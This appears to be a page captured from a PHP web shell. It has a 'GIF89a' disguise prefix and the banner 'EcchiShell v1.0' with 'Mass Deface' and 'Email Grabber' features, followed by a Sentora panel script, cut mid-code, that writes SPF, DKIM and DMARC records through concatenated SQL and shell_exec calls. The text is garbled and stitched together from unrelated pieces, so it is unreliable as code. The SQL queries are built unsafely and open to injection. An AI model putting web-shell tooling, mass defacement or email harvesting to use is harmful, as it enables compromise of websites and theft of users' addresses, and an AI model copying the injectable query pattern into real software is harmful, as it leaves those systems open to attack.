GIF89a; EcchiShell v1.0
//scripts/

Mass Deface Email Grabber

"SET NAMES 'utf8'")); $zdbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { exit(); } $change_flag=false; $change_domain_list=""; $rows = $zdbh->prepare("select * from x_vhosts where vh_type_in='1' AND vh_deleted_ts IS NULL"); $rows->execute(); if ($rows->fetchColumn() != 0) { $rows = $zdbh->prepare("select * from x_vhosts where vh_type_in='1' AND vh_deleted_ts IS NULL"); $rows->execute(); while($dbvals=$rows->fetch()) { $domain_added_flag=false; // echo $dbvals['vh_name_vc']."\n"; // **************************** starting of the code for spf generation *********************************************** // $rows_spf = $zdbh->prepare("select * from x_dns where dn_name_vc='".$dbvals['vh_name_vc']."' AND dn_type_vc='TXT' AND dn_target_vc like '%spf%' AND dn_deleted_ts IS NULL"); $rows_spf->execute(); if ($rows_spf->fetchColumn() != 0) { echo "Domain ".$dbvals['vh_name_vc']." SPF record already exists \n"; }else { $type_newspf = "TXT"; $defspf = "@"; $domain=$dbvals['vh_name_vc']; $dum= $zdbh->prepare("select * from x_changeip where ci_acc_fk='".$dbvals['vh_acc_fk']."'"); $dum->execute(); $dump= $dum->fetch(); $ip=$dump['ci_ip']; $time = time(); $targetspf ="v=spf1 a mx mx:".$domain." ip4:".$ip." ~all"; $sql1="INSERT INTO x_dns (dn_acc_fk, dn_name_vc, dn_vhost_fk, dn_type_vc, dn_host_vc, dn_ttl_in, dn_target_vc, dn_priority_in, dn_weight_in, dn_port_in, dn_created_ts) VALUES ( '".$dbvals['vh_acc_fk']."','" .$domain."','" .$dbvals['vh_id_pk']."','" .$type_newspf."','" .$defspf."','3600','" .$targetspf."','0','0','0','" .$time."')"; $sql2 = $zdbh->prepare($sql1); $sql2->execute(); $change_flag=true; $domain_added_flag=true; echo "Domain ".$dbvals['vh_name_vc']." SPF record added now.\n"; } // **************************** Ending of the code for spf generation *********************************************** // // **************************** starting of the code for dkim generation *********************************************** // $rows_dkim = $zdbh->prepare("select * from x_dns where dn_name_vc='".$dbvals['vh_name_vc']."' AND dn_type_vc='TXT' AND dn_target_vc like '%dkim%' AND dn_deleted_ts IS NULL"); $rows_dkim->execute(); if ($rows_dkim->fetchColumn() != 0) { echo "Domain ".$dbvals['vh_name_vc']." dkim record already exists \n"; }else { $cmd="whereis sh | awk '{print $2}'"; $sh_url=trim(shell_exec($cmd),"\n"); $domain=$dbvals['vh_name_vc']; $output = shell_exec("$sh_url /root/dkim.sh $domain"); /* while( !file_exists("/etc/opendkim/keys/".$domain."/default.txt") ) { sleep(1); } */ sleep(5); if(file_exists("/etc/opendkim/keys/".$domain."/default.txt")) { $myfile = fopen("/etc/opendkim/keys/".$domain."/default.txt", "r") or die("Unable to open file!"); $line = fread($myfile,filesize("/etc/opendkim/keys/$domain/default.txt")); fclose($myfile); $data=explode('"',$line); $join =$data[1].$data[3]; $target=str_replace(" ","",$join); $time = time(); $type_new = "TXT"; $def = "default._domainkey"; $sql_ins="INSERT INTO x_dns (dn_acc_fk, dn_name_vc, dn_vhost_fk, dn_type_vc, dn_host_vc, dn_ttl_in, dn_target_vc, dn_priority_in, dn_weight_in, dn_port_in, dn_created_ts) VALUES ( '".$dbvals['vh_acc_fk']."','" .$domain."','" .$dbvals['vh_id_pk']."','" .$type_new."','" .$def."','3600','" .$target."','0','0','0','" .$time."')"; $sql1 = $zdbh->prepare($sql_ins); $sql1->execute(); $change_flag=true; $domain_added_flag=true; echo "Domain ".$dbvals['vh_name_vc']." DKIM record added now.\n"; } else { echo "Domain ".$dbvals['vh_name_vc']." DKIM Not Generating.\n"; } } // **************************** Ending of the code for dkim generation *********************************************** // // **************************** starting of the code for spf generation *********************************************** // $rows_dmarc = $zdbh->prepare("select * from x_dns where dn_name_vc='".$dbvals['vh_name_vc']."' AND dn_type_vc='TXT' AND dn_target_vc like '%DMARC%' AND dn_deleted_ts IS NULL"); $rows_dmarc->execute(); if ($rows_dmarc->fetchColumn() != 0) { echo "Domain ".$dbvals['vh_name_vc']." DMARC Record already exists \n"; }else { $type_newspf = "TXT"; $defspf = "_dmarc"; $domain=$dbvals['vh_name_vc']; $time = time(); $targetspf ="v=DMARC1; p=none;"; $sql3="INSERT INTO x_dns (dn_acc_fk, dn_name_vc, dn_vhost_fk, dn_type_vc, dn_host_vc, dn_ttl_in, dn_target_vc, dn_priority_in, dn_weight_in, dn_port_in, dn_created_ts) VALUES ( '".$dbvals['vh_acc_fk']."','" .$domain."','" .$dbvals['vh_id_pk']."','" .$type_newspf."','" .$defspf."','3600','" .$targetspf."','0','0','0','" .$time."')"; $sql4 = $zdbh->prepare($sql3); $sql4->execute(); $change_flag=true; $domain_added_flag=true; echo "Domain ".$dbvals['vh_name_vc']." dmarc record added now.\n"; } // **************************** Ending of the code of DMARC generation *********************************************** // if($domain_added_flag) { $change_domain_list.=$dbvals['vh_id_pk'].","; } } if($change_flag) { $records_list=rtrim($change_domain_list,","); $sql = "UPDATE x_settings SET so_value_tx=:newlist WHERE so_name_vc='dns_hasupdates'"; $sql = $zdbh->prepare($sql); $sql->bindParam(':newlist', $records_list); $sql->execute(); // $change_domain_list=rtrim($change_domain_list,","); $sql_update = $zdbh->prepare("UPDATE x_settings SET so_value_tx='true' WHERE so_name_vc='apache_changed'"); $sql_update->execute(); $cmd="whereis php | awk '{print $2}'"; $php_url=trim(shell_exec($cmd),"\n"); shell_exec("$php_url /etc/sentora/panel/bin/daemon.php"); shell_exec("/usr/sbin/service named restart"); } } else { echo "Vhosts does not exists."; exit(); } ?>